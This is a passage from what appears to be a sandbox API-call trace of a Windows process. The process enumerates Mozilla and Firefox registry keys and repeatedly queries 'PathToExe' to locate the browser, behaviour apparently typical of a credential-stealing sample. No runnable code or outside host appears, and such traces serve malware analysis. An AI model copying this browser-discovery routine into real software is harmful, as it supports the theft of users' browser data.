lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd08, lpData=0x0, lpcbData=0x12fd0c*=0x7 | out: lpType=0x12fd08*=0x0, lpData=0x0, lpcbData=0x12fd0c*=0x0) returned 0x2 [0070.973] RegCloseKey (hKey=0x134) returned 0x0 [0070.973] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fce4 | out: phkResult=0x12fce4*=0x134) returned 0x0 [0070.973] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcdc, lpData=0x0, lpcbData=0x12fce0*=0x12fcc8 | out: lpType=0x12fcdc*=0x0, lpData=0x0, lpcbData=0x12fce0*=0x0) returned 0x2 [0070.973] RegCloseKey (hKey=0x134) returned 0x0 [0070.973] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcb8 | out: phkResult=0x12fcb8*=0x134) returned 0x0 [0070.973] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcb0, lpData=0x0, lpcbData=0x12fcb4*=0x12fc9c | out: lpType=0x12fcb0*=0x0, lpData=0x0, lpcbData=0x12fcb4*=0x0) returned 0x2 [0070.973] RegCloseKey (hKey=0x134) returned 0x0 [0070.973] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0070.973] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0070.973] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0070.973] RegCloseKey (hKey=0x134) returned 0x0 [0070.974] LocalFree (hMem=0x646ba0) returned 0x0 [0070.974] LocalFree (hMem=0x6292f8) returned 0x0 [0070.974] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x2, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0070.974] RegCloseKey (hKey=0x130) returned 0x0 [0070.974] LocalFree (hMem=0x646318) returned 0x0 [0070.974] LocalFree (hMem=0x65d330) returned 0x0 [0070.974] RegEnumKeyExA (in: hKey=0x13c, dwIndex=0x1, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0070.974] RegCloseKey (hKey=0x13c) returned 0x0 [0070.974] LocalFree (hMem=0x645a90) returned 0x0 [0070.974] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Firefox") returned 0x0 [0070.974] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x645a90 [0070.974] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", phkResult=0x12fdc4 | out: phkResult=0x12fdc4*=0x13c) returned 0x0 [0070.974] RegEnumKeyExA (in: hKey=0x13c, dwIndex=0x0, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0070.974] lstrlenA (lpString="Software\\Mozilla") returned 16 [0070.974] lstrlenA (lpString="\\") returned 1 [0070.974] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0070.974] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0070.974] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0070.974] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0070.974] lstrlenA (lpString="Firefox") returned 7 [0070.974] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x65d330 [0070.974] lstrcpyA (in: lpString1=0x65d330, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0070.974] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0070.974] LocalFree (hMem=0x65e350) returned 0x0 [0070.974] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Firefox") returned="Firefox" [0070.974] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd44 | out: phkResult=0x12fd44*=0x130) returned 0x0 [0070.974] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd3c, lpData=0x0, lpcbData=0x12fd40*=0x7 | out: lpType=0x12fd3c*=0x0, lpData=0x0, lpcbData=0x12fd40*=0x0) returned 0x2 [0070.974] RegCloseKey (hKey=0x130) returned 0x0 [0070.974] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fd18 | out: phkResult=0x12fd18*=0x130) returned 0x0 [0070.975] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd10, lpData=0x0, lpcbData=0x12fd14*=0x12fcfc | out: lpType=0x12fd10*=0x0, lpData=0x0, lpcbData=0x12fd14*=0x0) returned 0x2 [0070.975] RegCloseKey (hKey=0x130) returned 0x0 [0070.975] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcec | out: phkResult=0x12fcec*=0x130) returned 0x0 [0070.975] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fce4, lpData=0x0, lpcbData=0x12fce8*=0x12fcd0 | out: lpType=0x12fce4*=0x0, lpData=0x0, lpcbData=0x12fce8*=0x0) returned 0x2 [0070.975] RegCloseKey (hKey=0x130) returned 0x0 [0070.975] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0070.975] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0070.975] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0070.975] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0070.975] lstrlenA (lpString="\\") returned 1 [0070.975] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x65d3d8 [0070.975] lstrcpyA (in: lpString1=0x65d3d8, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0070.975] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0070.975] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0070.975] lstrlenA (lpString="TaskBarIDs") returned 10 [0070.975] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0070.975] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0070.975] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0070.975] LocalFree (hMem=0x65d3d8) returned 0x0 [0070.975] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Firefox") returned="Firefox\\TaskBarIDs" [0070.975] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd10 | out: phkResult=0x12fd10*=0x134) returned 0x0 [0070.975] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd08, lpData=0x0, lpcbData=0x12fd0c*=0x7 | out: lpType=0x12fd08*=0x0, lpData=0x0, lpcbData=0x12fd0c*=0x0) returned 0x2 [0070.975] RegCloseKey (hKey=0x134) returned 0x0 [0070.975] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fce4 | out: phkResult=0x12fce4*=0x134) returned 0x0 [0070.975] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcdc, lpData=0x0, lpcbData=0x12fce0*=0x12fcc8 | out: lpType=0x12fcdc*=0x0, lpData=0x0, lpcbData=0x12fce0*=0x0) returned 0x2 [0070.975] RegCloseKey (hKey=0x134) returned 0x0 [0070.975] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcb8 | out: phkResult=0x12fcb8*=0x134) returned 0x0 [0070.976] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcb0, lpData=0x0, lpcbData=0x12fcb4*=0x12fc9c | out: lpType=0x12fcb0*=0x0, lpData=0x0, lpcbData=0x12fcb4*=0x0) returned 0x2 [0070.976] RegCloseKey (hKey=0x134) returned 0x0 [0070.976] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0070.976] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0070.976] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0070.976] RegCloseKey (hKey=0x134) returned 0x0 [0070.976] LocalFree (hMem=0x646ba0) returned 0x0 [0070.976] LocalFree (hMem=0x6292f8) returned 0x0 [0070.976] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0070.976] RegCloseKey (hKey=0x130) returned 0x0 [0070.976] LocalFree (hMem=0x646318) returned 0x0 [0070.976] LocalFree (hMem=0x65d330) returned 0x0 [0070.976] RegEnumKeyExA (in: hKey=0x13c, dwIndex=0x1, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MaintenanceService", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0070.976] lstrlenA (lpString="Software\\Mozilla") returned 16 [0070.976] lstrlenA (lpString="\\") returned 1 [0070.976] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0070.976] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0070.976] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0070.976] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0070.976] lstrlenA (lpString="MaintenanceService") returned 18 [0070.976] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x6292f8 [0070.976] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0070.976] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="MaintenanceService" | out: lpString1="Software\\Mozilla\\MaintenanceService") returned="Software\\Mozilla\\MaintenanceService" [0070.976] LocalFree (hMem=0x65e350) returned 0x0 [0070.976] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService", lpSrch="Firefox") returned 0x0 [0070.976] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0070.976] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0070.977] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f9b87e891978e3145f0f8f9953eadc00", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0070.977] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService") returned 35 [0070.977] lstrlenA (lpString="\\") returned 1 [0070.977] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0070.977] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\MaintenanceService" | out: lpString1="Software\\Mozilla\\MaintenanceService") returned="Software\\Mozilla\\MaintenanceService" [0070.977] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService", lpString2="\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\") returned="Software\\Mozilla\\MaintenanceService\\" [0070.977] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\") returned 36 [0070.977] lstrlenA (lpString="f9b87e891978e3145f0f8f9953eadc00") returned 32 [0070.977] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x65e350 [0070.977] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla\\MaintenanceService\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\") returned="Software\\Mozilla\\MaintenanceService\\" [0070.977] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\", lpString2="f9b87e891978e3145f0f8f9953eadc00" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" [0070.977] LocalFree (hMem=0x6293a8) returned 0x0 [0070.977] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", lpSrch="Firefox") returned 0x0 [0070.977] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0070.977] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0070.977] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0070.977] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned 68 [0070.977] lstrlenA (lpString="\\") returned 1 [0070.977] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x65d330 [0070.977] lstrcpyA (in: lpString1=0x65d330, lpString2="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" [0070.977] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", lpString2="\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" [0070.977] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned 69 [0070.977] lstrlenA (lpString="0") returned 1 [0070.977] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x641518 [0070.977] lstrcpyA (in: lpString1=0x641518, lpString2="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" [0070.977] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\", lpString2="0" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0" [0070.977] LocalFree (hMem=0x65d330) returned 0x0 [0070.977] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0", lpSrch="Firefox") returned 0x0 [0070.977] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x649428 [0070.977] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x138) returned 0x0 [0070.977] RegEnumKeyExA (in: hKey=0x138, dwIndex=0x0, lpName=0x649428, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0070.977] RegCloseKey (hKey=0x138) returned 0x0 [0070.977] LocalFree (hMem=0x649428) returned 0x0 [0070.977] LocalFree (hMem=0x641518) returned 0x0 [0070.977] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x1, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0070.977] RegCloseKey (hKey=0x134) returned 0x0 [0070.977] LocalFree (hMem=0x646ba0) returned 0x0 [0070.977] LocalFree (hMem=0x65e350) returned 0x0 [0070.977] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f9b87e891978e3145f0f8f9953eadc00", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0070.977] RegCloseKey (hKey=0x130) returned 0x0 [0070.977] LocalFree (hMem=0x646318) returned 0x0 [0070.977] LocalFree (hMem=0x6292f8) returned 0x0 [0070.978] RegEnumKeyExA (in: hKey=0x13c, dwIndex=0x2, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0070.978] lstrlenA (lpString="Software\\Mozilla") returned 16 [0070.978] lstrlenA (lpString="\\") returned 1 [0070.978] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x65e350 [0070.978] lstrcpyA (in: lpString1=0x65e350, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0070.978] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0070.978] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0070.978] lstrlenA (lpString="Mozilla Firefox") returned 15 [0070.978] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0070.978] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0070.978] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0070.978] LocalFree (hMem=0x65e350) returned 0x0 [0070.978] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox", lpSrch="Firefox") returned="Firefox" [0070.978] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd44 | out: phkResult=0x12fd44*=0x130) returned 0x0 [0070.978] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd3c, lpData=0x0, lpcbData=0x12fd40*=0x7 | out: lpType=0x12fd3c*=0x0, lpData=0x0, lpcbData=0x12fd40*=0x0) returned 0x2 [0070.978] RegCloseKey (hKey=0x130) returned 0x0 [0070.978] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fd18 | out: phkResult=0x12fd18*=0x130) returned 0x0 [0070.978] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd10, lpData=0x0, lpcbData=0x12fd14*=0x12fcfc | out: lpType=0x12fd10*=0x0, lpData=0x0, lpcbData=0x12fd14*=0x0) returned 0x2 [0070.978] RegCloseKey (hKey=0x130) returned 0x0 [0070.978] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcec | out: phkResult=0x12fcec*=0x130) returned 0x0 [0070.978] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fce4, lpData=0x0, lpcbData=0x12fce8*=0x12fcd0 | out: lpType=0x12fce4*=0x0, lpData=0x0, lpcbData=0x12fce8*=0x0) returned 0x2 [0070.978] RegCloseKey (hKey=0x130) returned 0x0 [0070.978] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0070.978] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0070.978] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0070.978] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox") returned 32 [0070.978] lstrlenA (lpString="\\") returned 1 [0070.978] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x6293a8 [0070.978] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0070.978] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0070.978] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\") returned 33 [0070.978] lstrlenA (lpString="25.0 (en-US)") returned 12 [0070.978] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x647440 [0070.978] lstrcpyA (in: lpString1=0x647440, lpString2="Software\\Mozilla\\Mozilla Firefox\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0070.978] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\", lpString2="25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0070.978] LocalFree (hMem=0x6293a8) returned 0x0 [0070.978] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpSrch="Firefox") returned="Firefox\\25.0 (en-US)" [0070.978] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd10 | out: phkResult=0x12fd10*=0x134) returned 0x0 [0070.978] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd08, lpData=0x0, lpcbData=0x12fd0c*=0x7 | out: lpType=0x12fd08*=0x0, lpData=0x0, lpcbData=0x12fd0c*=0x0) returned 0x2 [0070.979] RegCloseKey (hKey=0x134) returned 0x0 [0070.979] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fce4 | out: phkResult=0x12fce4*=0x134) returned 0x0 [0070.979] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcdc, lpData=0x0, lpcbData=0x12fce0*=0x12fcc8 | out: lpType=0x12fcdc*=0x0, lpData=0x0, lpcbData=0x12fce0*=0x0) returned 0x2 [0070.979] RegCloseKey (hKey=0x134) returned 0x0 [0070.979] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcb8 | out: phkResult=0x12fcb8*=0x134) returned 0x0 [0070.979] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcb0, lpData=0x0, lpcbData=0x12fcb4*=0x12fc9c | out: lpType=0x12fcb0*=0x0, lpData=0x0, lpcbData=0x12fcb4*=0x0) returned 0x2 [0070.979] RegCloseKey (hKey=0x134) returned 0x0 [0070.979] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0070.979] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0070.979] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Main", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0070.979] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0070.979] lstrlenA (lpString="\\") returned 1 [0070.979] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x6474f8 [0070.979] lstrcpyA (in: lpString1=0x6474f8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0070.979] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0070.979] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0070.979] lstrlenA (lpString="Main") returned 4 [0070.979] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x643aa8 [0070.979] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0070.979] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Main" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main") 